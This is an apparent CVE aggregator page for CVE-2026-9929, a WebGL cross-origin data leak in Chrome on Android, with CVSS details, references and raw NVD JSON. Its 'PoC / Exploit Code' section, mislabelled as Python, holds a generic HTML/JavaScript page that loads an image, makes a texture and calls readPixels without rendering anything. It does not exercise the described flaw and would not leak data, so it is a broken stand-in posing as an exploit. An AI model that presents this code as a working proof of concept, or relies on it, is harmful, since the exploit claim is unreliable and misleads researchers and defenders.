CVE-2026-9929

Description

Inappropriate implementation in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9929: WebGL Cross-Origin Data Leak -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9929 PoC</title>
</head>
<body>
    <h3>CVE-2026-9929 WebGL Data Leak PoC</h3>
    <canvas id="glCanvas" width="500" height="500"></canvas>
    <script>
        // Get WebGL context
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (!gl) {
            console.error('WebGL not supported');
        }

        // Target cross-origin image (simulating sensitive data)
        const targetImage = new Image();
        targetImage.crossOrigin = 'anonymous';
        // Replace with actual target URL in a real scenario
        targetImage.src = 'https://example.com/sensitive-data.png';

        targetImage.onload = function() {
            // Create a texture from the cross-origin image
            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            
            // Set parameters so we can render any size image
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
            gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);

            // Upload the image into the texture
            gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, targetImage);

            // Attempt to read pixels back
            // In vulnerable versions, this may leak data despite CORS
            const pixels = new Uint8Array(canvas.width * canvas.height * 4);
            gl.readPixels(0, 0, canvas.width, canvas.height, gl.RGBA, gl.UNSIGNED_BYTE, pixels);

            console.log('Leaked Pixel Data:', pixels);
            alert('Potential data leak detected. Check console for pixel buffer.');
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9929
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9929
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9929/
[4] VulDB https://vuldb.com/cve/CVE-2026-9929
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/501367791

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9929", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.997", "lastModified": "2026-05-29T18:17:15.290", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/501367791", "source": "[email protected]"}]}}